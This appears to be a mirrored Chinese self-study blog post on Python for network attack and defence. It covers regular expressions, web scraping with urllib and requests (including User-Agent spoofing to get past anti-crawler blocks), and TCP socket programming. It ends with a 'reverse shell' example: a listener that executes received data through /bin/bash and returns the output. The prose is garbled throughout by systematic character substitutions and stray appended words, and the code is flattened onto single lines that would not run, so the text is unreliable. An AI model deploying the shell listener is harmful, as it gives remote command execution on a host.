这是做者的系列网络安全自学教程,主要是关于网安工具和实践操做的在线笔记,特分享出来与博友共勉,但愿您们喜欢,一块儿进步。前文分享了Wireshark抓包原理知识,并结合NetworkMiner工具抓取了图像资源和用户名密码,本文将讲解Python网络攻防相关基础知识,包括正则表达式、Web编程和套接字通讯。本文参考了爱春秋ADO老师的课程内容,这里也推荐你们观看他Bilibili和ichunqiu的课程,同时也结合了做者以前的经验进行讲解。php
做者做为网络安全的小白,分享一些自学基础教程给你们,但愿大家喜欢。同时,更但愿你能与我一块儿操做深刻进步,后续也将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不容易,大神请飘过,不喜勿喷,谢谢!html
下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
百度网盘:https://pan.baidu.com/s/1dsunH8EmOB_tlHYXXguOeA 提取码:izebpython
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)git
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包github
参考文献:
《安全之路Web渗透技术及实战案例解析》陈小兵老师
《Wireshark数据包分析实战》第二版 Chris Sanders
《TCP/IP协议栈详解卷一》 W.Richard Stevensweb
《Wireshark协议分析从入门到精通》-51cto老师
https://www.bilibili.com/video/av29479068
2019 Python黑客编程:安全工具开发 - bilibili 白帽黑客教程正则表达式
声明:本人坚定反对利用社会工程学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。算法
网络攻防一般包括七个步骤:(图源自张超大神)shell
为什选择Python做为开发工具呢?
真正厉害的安全工程师都会本身去制做所须要的工具,而Python语言就是这样一个利器。Python开发的平台包括Seebug、TangScan、BugScan等。在广度上,Python能够进行蜜罐部署、沙盒、Wifi中间人、Scrapy网络爬虫、漏洞编写、经常使用小工具等;在深度上,Python能够实现SQLMAP这样一款强大的SQL注入工具,实现mitmproxy中间人攻击神器等。因为Python具备简单、易学习、免费开源、高级语言、可移植、可扩展、丰富的第三方库函数特色,Python几行代码就能实现Java须要大量代码的功能,而且Python是跨平台的,Linux和Windows都能使用,它能快速实现并验证咱们的网络攻防想法,因此选择它做为咱们的开发工具。数据库
那么,咱们又能够用Python作什么呢?
接下来咱们开始学习Python正则表达式、Python Web编程和Python网络编程。建议读者作好如下准备:
举个简单Python示例,经过import导入扩展包base64,它是将字符串base64加解码的模块, 经过print dir(base64)、help(base64)能够查看相关功能。
# -*- coding: utf-8 -*- import base64 print dir(base64) print base64.__file__ print base64.b64encode('eastmount')
输出结果以下图所示,包括查看源代码文件位置和“eastmount”转码。
在使用正则表达式以前,咱们须要基本了解Python基础知识、HTTP协议,熟悉使用BurpSuite、SQLMAP工具。Python正则表达式被普遍应用在爬虫开发、多线程、网络编程中,而hacker应用也会涉及到正则表示式相关知识,好比扫描、爆破、POC等。
正则表达式(RegEx)使用单个字符串来描述、匹配一系列符合某个句法规则的字符串。 例如,若是想获取里面的ip地址,就须要使用正则表达式实现。Python经过re模块提供正则表达式的支持,其基本步骤以下:
举一个简单例子:
import re pattern = re.compile('east') match = pattern.match('eastmount!') print match.group() word = re.findall('east', 'east mount') print word
输出结果为:
east ['east']
1.点(.)表示匹配任意换行符“\n”之外的字符。
import re word = "http://www.eastmount.com Python_9.29" key = re.findall('t.', word) print key
输出结果为:[‘tt’, ‘tm’, ‘t.’, ‘th’],依次匹配t加任意字符的两个字符。
2.斜杠(\)表示匹配转义字符 若是须要匹配点的话,必需要\转义字符。
import re word = "http://www.eastmount.com Python_9.29" key = re.findall('\.', word) print key
输出结果为:[’.’, ‘.’, ‘.’]。
3.[…] 中括号是对应位置能够是字符集中任意字符。
字符集中的字符能够逐个列出,也能够给出范围,如[abc]或[a-c],第一个字符若是是^表示取反,如 [ ^ abc]表示不是abc的其余字符。例如:a[bcd]e 能匹配到 abe、ace、ade。
4.匹配数字和非数字案例。
# -*- coding: utf-8 -*- import re #匹配数字 word = "http://www.eastmount.com Python_9.29" key = re.findall('\d\.\d\d', word) print key #匹配非数字 key = re.findall('\D', word) print key
输出结果以下图所示:
正则表达式较为难理解,更推荐读者真正使用的时候学会去百度相关的规则,会使用便可。同时,更多正则表达式的使用方法建议读者下来以后自行学习,常见表以下图所示。
下面讲解比较常见的正则表达式规则,这些规则可能会对咱们的网络攻防有必定帮助。
1.获取数字
# -*- coding: utf-8 -*- import re string="A1.45,b5,6.45,8.82" regex = re.compile(r"\d+\.?\d*") print regex.findall(string)
输出结果为:
[‘1.45’, ‘5’, ‘6.45’, ‘8.82’]
2.抓取标签间的内容
# coding=utf-8 import re import urllib html = u'<title>欢迎走进Python攻防系列专栏</title>' title = re.findall(r'<title>(.*?)</title>', html) for i in title: print i
输出结果为:
3.抓取超连接标签间的内容
# coding=utf-8 import re import urllib url = "http://www.baidu.com/" content = urllib.urlopen(url).read() #获取完整超连接 res = r"<a.*?href=.*?<\/a>" urls = re.findall(res, content) for u in urls: print unicode(u,'utf-8') #获取超连接<a>和</a>之间内容 res = r'<a .*?>(.*?)</a>' texts = re.findall(res, content, re.S|re.M) for t in texts: print unicode(t,'utf-8')
输出结果部份内容以下所示,这里若是采用“print u”或“print t”语句直接输出结果,可能会是中文乱码,则须要调用函数unicode(u,‘utf-8’)转换为utf-8编码,正确显示中文。
#获取完整超连接 <a href="http://news.baidu.com" name="tj_trnews" class="mnav">新闻</a> <a href="http://www.hao123.com" name="tj_trhao123" class="mnav">hao123</a> <a href="http://map.baidu.com" name="tj_trmap" class="mnav">地图</a> <a href="http://v.baidu.com" name="tj_trvideo" class="mnav">视频</a> ... #获取超连接<a>和</a>之间内容 新闻 hao123 地图 视频 ...
4.抓取超连接标签的url
# coding=utf-8 import re content = ''' <a href="http://news.baidu.com" name="tj_trnews" class="mnav">新闻</a> <a href="http://www.hao123.com" name="tj_trhao123" class="mnav">hao123</a> <a href="http://map.baidu.com" name="tj_trmap" class="mnav">地图</a> <a href="http://v.baidu.com" name="tj_trvideo" class="mnav">视频</a> ''' res = r"(?<=href=\").+?(?=\")|(?<=href=\').+?(?=\')" urls = re.findall(res, content, re.I|re.S|re.M) for url in urls: print url
获取的超连接输出结果以下图所示:
5.抓取图片超连接标签的url和图片名称
在HTML中,咱们能够看到各式各样的图片,其图片标签的基本格式为“< img src=图片地址 />”,只有经过抓取了这些图片的原地址,才能下载对应的图片至本地。那么究竟怎么获取图片标签中的原图地址呢?下面这段代码就是获取图片连接地址的方法。
content = '''<img alt="Python" src="http://www.yangxiuzhang.com/eastmount.jpg" />''' urls = re.findall('src="(.*?)"', content, re.I|re.S|re.M) print urls # ['http://www.yangxiuzhang.com/eastmount.jpg']
其中图片对应的原图地址为“http://www.yangxiuzhang.com/eastmount.jpg”,它对应一张图片,该图片是存储在“www.yangxiuzhang.com”网站服务器端的,最后一个“/”后面的字段为图片名称,即为“eastmount.jpg”。那么如何获取url中最后一个参数呢?
content = '''<img alt="Python" src="http://www..csdn.net/eastmount.jpg" />''' urls = 'http://www..csdn.net/eastmount.jpg' name = urls.split('/')[-1] print name # eastmount.jpg
更多正则表达式的用法,读者结合实际状况进行复现。
这里的Web编程并非利用Python开发Web程序,而是用Python与Web交互,获取Web信息。主要内容包括:
urllib是Python用于获取URL(Uniform Resource Locators,统一资源定址器)的库函数,能够用来抓取远程数据并保存,甚至能够设置消息头(header)、代理、超时认证等。urllib模块提供的上层接口让咱们像读取本地文件同样读取www或ftp上的数据。它比C++、C#等其余编程语言使用起来更方便。其经常使用的方法以下:
urlopen(url, data=None, proxies=None)
该方法用于建立一个远程URL的类文件对象,而后像本地文件同样操做这个类文件对象来获取远程数据。参数url表示远程数据的路径,通常是网址;参数data表示以post方式提交到url的数据;参数proxies用于设置代理。urlopen返回一个类文件对象。
# -*- coding:utf-8 -*- import urllib url = "http://www.baidu.com" content = urllib.urlopen(url) print content.info() #头信息 print content.geturl() #请求url print content.getcode() #http状态码
该段调用调用urllib.urlopen(url)函数打开百度连接,并输出消息头、url、http状态码等信息,以下图所示。
urlretrieve(url, filename=None, reporthook=None, data=None)
urlretrieve方法是将远程数据下载到本地,参数filename指定了保存到本地的路径,若是省略该参数,urllib会自动生成一个临时文件来保存数据;参数reporthook是一个回调函数,当链接上服务器,相应的数据块传输完毕时会触发该回调,一般使用该回调函数来显示当前的下载进度;参数data指传递到服务器的数据。下
# -*- coding:utf-8 -*- import urllib url = 'https://www.baidu.com/img/bd_logo.png' path = 'test.png' urllib.urlretrieve(url, path)
它将百度Logo图片下载至本地。
urllib2中调用的方法为:urllib2.urlopen()、urllib2.requests()。
requests模块是用Python语言编写的、基于urllib的第三方库,采用Apache2 Licensed开源协议的http库。它比urllib更加方便,既能够节约大量的工做,又彻底知足http测试需求。requests是一个很实用的Python http客户端库,编写爬虫和测试服务器响应数据时常常会用到。推荐你们从 requests官方网站 进行学习,这里只作简单介绍。
假设读者已经使用“pip install requests”安装了requests模块,下面讲解该模块的基本用法。
1.发送网络请求
r = requests.get("http://www.eastmountyxz.com") r = requests.post("http://www.eastmountyxz.com") r = requests.put("http://www.eastmountyxz.com") r = requests.delete("http://www.eastmountyxz.com") r = requests.head("http://www.eastmountyxz.com") r = requests.options("http://www.eastmountyxz.com")
2.为URL传递参数
import requests payload = {'key1':'value1', 'key2':'value2'} r = requests.get('http://httpbin.org/get', params=payload) print r.url
输出结果以下图所示,将参数进行了拼接。
3.响应内容
import requests r = requests.get('http://www.eastmountyxz.com') print r.text print r.encoding
4.二进制响应内容
r = requests.get('http://www.eastmountyxz.com') print r.content
5.定制请求头
url = 'http://www.ichunqiu.com' headers = {'content-type':'application/json'} r = requests.get(url, headers=headers)
注意:headers中能够加入cookies
6.复杂的POST请求
payload = {'key1':'value1', 'key2':'value2'} r = requests.post('http://httpbin.org/post', data=payload)
7.响应状态码和响应头
r = requests.get('http://www.ichunqiu.com') r.status_code r.headers
8.Cookies
r.cookies r.cookies['example_cookie_name']
9.超时
requests.get('http://www.ichunqiu.com', timeout=0.001)
10.错误和异常
遇到网络问题(如:DNS查询失败,拒绝连接等)时,requests会抛出一个ConnectionError异常;遇到罕见的无效HTTP响应式时,requests则会抛出一个HTTPError异常;若请求超时,会抛出一个Timeout异常。
网络爬虫又称为网页蜘蛛,网络机器人,网页追逐者,是按照必定规则自动抓取万维网信息的程序或脚本。最大好处是批量且自动化得到和处理信息,对于宏观或微观的状况均可以多一个侧面去了解。在安全领域,爬虫能作目录扫描、搜索测试页面、样本文档、管理员登陆页面等。不少公司(如绿盟)的Web漏洞扫描也经过Python来自动识别漏洞。
下面以ichunqiu为例(https://www.ichunqiu.com/courses),使用requests爬取它的课程信息。咱们打开第二页,发现URL没有变换,说明它是POST传递数据,接下来咱们使用BurpSuite进行分析。
前面的文章详细讲解了BurpSuite如何配置,这里就再也不赘述,直接使用便可。可是因为目标网站是HTTPS协议,做者尝试安全证书,但最终都没法成功访问该网址,老是以下图所示访问证书网站。因此最后换了目标网站,其原理都是同样的,后续继续深刻研究该问题。
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
下面两个案例虽然简单,却能解决不少人的问题,但愿读者能够尝试下。
1.设置消息头请求
假设咱们须要抓取360百科的乔布斯信息(https://baike.so.com/doc/24386561-25208408.html),以下图所示。
传统的爬虫代码会被网站拦截,从而没法获取相关信息。
# -*- coding: utf-8 -*- import requests url = "https://baike.so.com/doc/24386561-25208408.html" content = requests.get(url, headers=headers) print content.text
右键审查元素(按F12),在Network中获取Headers值。headers中有不少内容,主要经常使用的就是user-agent 和 host,它们是以键对的形式展示出来,若是user-agent 以字典键对形式做为headers的内容,就能够反爬成功。
代码以下:
# -*- coding: utf-8 -*- import requests #添加请求头 url = "https://baike.so.com/doc/24386561-25208408.html" headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' } content = requests.get(url, headers=headers) content.encoding='utf-8' print content.text
输出结果以下图所示:
有部分网站会返回Json格式的数据,咱们能够经过json模块进行处理。核心代码以下:
data = json.loads(r.text) print data['result'] name_len = len(data['result']) for i range(name_len): print data['result'][i]['courseName']
2.提交数据请求
部分网站若是涉及到翻页,须要获取全部页码的信息,最传统的方法是定义一个函数,而后设计一个循环,一次遍历不一样页面的内容实现。核心代码以下:
url_start = "" url_end = "" def lesson(url): .... for i in range(1,9) url = url_start+ str(i) + url_end lesson(url)
但若是URL始终保持不变,就须要咱们深刻地分析,或经过Selenium模拟浏览器抓取,这里提供一个技巧性比较强的方法。
正如 博客园zhaof大佬 的文章,咱们想爬取上海人民法院的开庭公开信息,但经过翻页发现这个页面的url地址是不变的,因此这里咱们大体就能够判断出,中间表格的数据是经过js动态加载的,咱们能够经过分析抓包,找到真实的请求地址。
目标网址:http://www.hshfy.sh.cn/shfy/gweb2017/ktgg_search.jsp
经过审查元素能够发现有个pagesnum变量,它标记为咱们的页码,因此这里须要经过requests提交变量数据,就能实现翻页。
核心代码以下:
# -*- coding: utf-8 -*- import requests import time import datetime url = "http://www.hshfy.sh.cn/shfy/gweb/ktgg_search_content.jsp?" page_num = 1 date_time = datetime.date.fromtimestamp(time.time()) print date_time data = { "pktrqks": date_time, "ktrqjs": date_time, "pagesnum": page_num } print data content = requests.get(url, data, timeout=3) content.encoding='gbk' print content.text
Python网络通信主要是C/S架构的,采用套接字实现。C/S架构是客户端(Client)和服务端(Server)架构,Server惟一的目的就是等待Client的请求,Client连上Server发送必要的数据,而后等待Server端完成请求的反馈。
C/S网络编程:
Server端进行设置,首先建立一个通讯端点,让Server端可以监听请求,以后就进入等待和处理Client请求的无限循环中。Client编程相对Server端编程简单,只要建立一个通讯端点,创建到服务器的连接,就能够提出请求了。
套接字是一种具备以前所说的“通讯端点”概念的计算网络数据结构,网络化的应用程序在开始任何通讯都必须建立套接字。至关于电话插口,没它没法通讯,这个比喻很是形象。Python支持:AF_UNIX、AF_NETLINK、AF_INET,其中AF_INET是基于网络的套接字。
套接字起源于20世纪70年代加州伯克利分校版本的Unix,即BSD Unix,又称为“伯克利套接字”或“BSD套接字”。最初套接字被设计用在同一台主机上多个应用程序之间的通信,这被称为进程间通信或IPC。
套接字分两种:基于文件型和基于网络的
若是把套接字比做电话的查看——即通讯的最底层结构,那主机与端口就至关于区号和电话号码的一对组合。一个因特网地址由网络通讯必须的主机与端口组成。并且另外一端必定要有人接听才行,不然会提示“对不起,您拨打的电话是空号,请查询后再拨”。一样你也可能会遇到如“不能链接该服务器、服务器没法响应”等。合法的端口范围是0~65535,其中小于1024端口号为系统保留端口。
1.面向链接 TCP
通讯以前必定要创建一条链接,这种通讯方式也被成为“虚电路”或“流套接字”。面向链接的通讯方式提供了顺序的、可靠地、不会重复的数据传输,并且也不会被加上数据边界。这意味着,每发送一份信息,可能会被拆分红多份,每份都会很少很多地正确到达目的地,而后从新按顺序拼装起来,传给正等待的应用程序。
实现这种链接的主要协议就是传输控制协议TCP。要建立TCP套接字就得建立时指定套接字类型为SOCK_STREAM。TCP套接字这个类型表示它做为流套接字的特色。因为这些套接字使用网际协议IP来查找网络中的主机,因此这样造成的整个系统,通常会由这两个协议(TCP和IP)组合描述,即TCP/IP。
2.无链接 UDP
无需创建链接就能够通信。但此时,数据到达的顺序、可靠性及不重复性就没法保障了。数据报会保留数据边界,这就表示数据是整个发送的,不会像面向链接的协议先拆分红小块。它就至关于邮政服务同样,邮件和包裹不必定按照发送顺序达到,有的甚至可能根本到达不到。并且网络中的报文可能会重复发送。那么这么多缺点,为何还要使用它呢?因为面向链接套接字要提供一些保证,须要维护虚电路链接,这都是严重的额外负担。数据报没有这些负担,全部它会更”便宜“,一般能提供更好的性能,更适合某些场合,如现场直播要求的实时数据讲究快等。
实现这种链接的主要协议是用户数据报协议UDP。要建立UDP套接字就得建立时指定套接字类型为SOCK_DGRAM。这个名字源于datagram(数据报),这些套接字使用网际协议来查找网络主机,整个系统叫UDP/IP。
使用socket模块的socket()函数来建立套接字。语法以下:
socket(socket_family, socket_type, protocol=0)
其中socket_family不是AF_VNIX就是AF_INET,socket_type能够是SOCK_STREAM或者SOCK_DGRAM,protocol通常不填,默认值是0。
建立一个TCP/IP套接字的语法以下:
tcpSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
一样建立一个UDP/IP套接字的语法以下:
udpSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
因为socket模块中有太多属性,因此使用"from socket import *"语句,把socket模块里面的全部属性都带到命名空间中,大幅缩短代码。调用以下:
tcpSock = socket(AF_INET, SOCK_STREAM)
下面是最经常使用的套接字对象方法:
提示:在运行网络应用程序时,若是可以使用在不一样的电脑上运行服务器和客户端最好不过,它能让你更好理解通讯过程,而更多的是方位localhost或127.0.0.1。
1.服务器 tcpSerSock.py
核心操做以下:
# -*- coding: utf-8 -*- from socket import * from time import ctime HOST = 'localhost' #主机名 PORT = 21567 #端口号 BUFSIZE = 1024 #缓冲区大小1K ADDR = (HOST,PORT) tcpSerSock = socket(AF_INET, SOCK_STREAM) tcpSerSock.bind(ADDR) #绑定地址到套接字 tcpSerSock.listen(5) #监听 最多同时5个链接进来 while True: #无限循环等待链接到来 try: print 'Waiting for connection ....' tcpCliSock, addr = tcpSerSock.accept() #被动接受客户端链接 print u'Connected client from : ', addr while True: data = tcpCliSock.recv(BUFSIZE) #接受数据 if not data: break else: print 'Client: ',data tcpCliSock.send('[%s] %s' %(ctime(),data)) #时间戳 except Exception,e: print 'Error: ',e tcpSerSock.close() #关闭服务器 tcpCliSock.close()
2.客户端 tcpCliSock.py
核心操做以下:
# -*- coding: utf-8 -*- from socket import * HOST = 'localhost' #主机名 PORT = 21567 #端口号 与服务器一致 BUFSIZE = 1024 #缓冲区大小1K ADDR = (HOST,PORT) tcpCliSock = socket(AF_INET, SOCK_STREAM) tcpCliSock.connect(ADDR) #链接服务器 while True: #无限循环等待链接到来 try: data = raw_input('>') if not data: break tcpCliSock.send(data) #发送数据 data = tcpCliSock.recv(BUFSIZE) #接受数据 if not data: break print 'Server: ', data except Exception,e: print 'Error: ',e tcpCliSock.close() #关闭客户端
因为服务器被动地无限循环等待链接,因此须要先运行服务器,再开客户端。又由于个人Python总会没法响应,因此采用cmd运行服务器Server程序,Python IDLE运行客户端进行通讯。运行结果以下图所示:
若是出现错误[Error] Bad file descriptor表示服务器关闭客户端链接了,删除便可。建议:建立线程来处理客户端请求。SocketServer模块是一个基于socket模块的高级别的套接字通讯模块,支持新的线程或进程中处理客户端请求。同时建议在退出和调用服务器close()函数时使用try-except语句。
那么,如何反弹shell程序呢?
使用 from subprocess import Popen, PIPE 导入库,调用系统命令实现。核心代码以下:
from subprocess import Popen, PIPE from socket import * from time import ctime HOST = '' #本机做为服务端,地址能够不填写 PORT = 2333 #端口 BUFSIZE = 1024 #传输数据所占大小 ADDR = (HOST, PORT) #服务端代码 tcpServer = socket(AF_INET, SOCK_STREAM) #地址绑定套接字 tcpServer.bind(ADDR) #服务端监听 tcpServer.listen(5) #接听数据 while True: print 'waiting for connection...' #绑定 tcpClient,addr = tcpServer.accept() print '..connected from:', addr while True: data = tcpClient.recv(BUFSIZE) if not data: break cmd = Popen(['/bin/bash', '-c', data], stdin=PIPE, stdout=PIPE) data = cmd.stdout.read() tcpClient.send('[%s] %s' % (ctime(), data)) #关闭链接 tcpClient.close() tcpServer.close()
但愿这篇文章对你有所帮助,这是Python网络攻防很是基础的一篇博客,后续做者也将继续深刻学习,制做一些经常使用的小工具供你们交流。最近CSDN博客排名正在改版,忽然发现本身排到第6名,也谈谈个人见解。
每一位博主都值得尊重,每一篇博客都是咱们的劳动果实。这一路走来,无数大佬、前辈让CSDN发展壮大,包括算法的July大神、Android的郭霖和罗升阳大神、图像视频的雷神、考入清北的两位女大神、还有七八十岁的老一辈wzz老师,还有各个板块的各类大神和前辈。就我而言,写博客最先的初衷就是为了记录当下,同时分享些知识给有用的读者,现现在,每当看到一个“对我有帮助”的评论,看到一句“谢谢”仍然很是开心,以为这篇文章值了。八年过来,中间也有段时间很看重排名,但写着写着就淡了,更期盼系统地撰写些专栏,分享总结些互联网上资料较少的技术。尤为是成为教师以后,更是品尝到了分享知识的魅力和学生们的感恩,也鼓舞不少学生开始在CSDN撰写了本身的博客。我所说的这一切也不意味着排名不重要,但更但愿博友们能看淡些,真诚地总结好知识、分享好文章、帮助更多人,才是咱们的初衷啊!并且CSDN也一直在进步,这些技术人员和工做人员一直在朝好的方向改进,这个排名算法也会陆续优化,感恩有你,感恩CSDN,一路同行!加油。
(By:Eastmount 2019-09-29 晚上11点 http://blog.csdn.net/eastmount/ )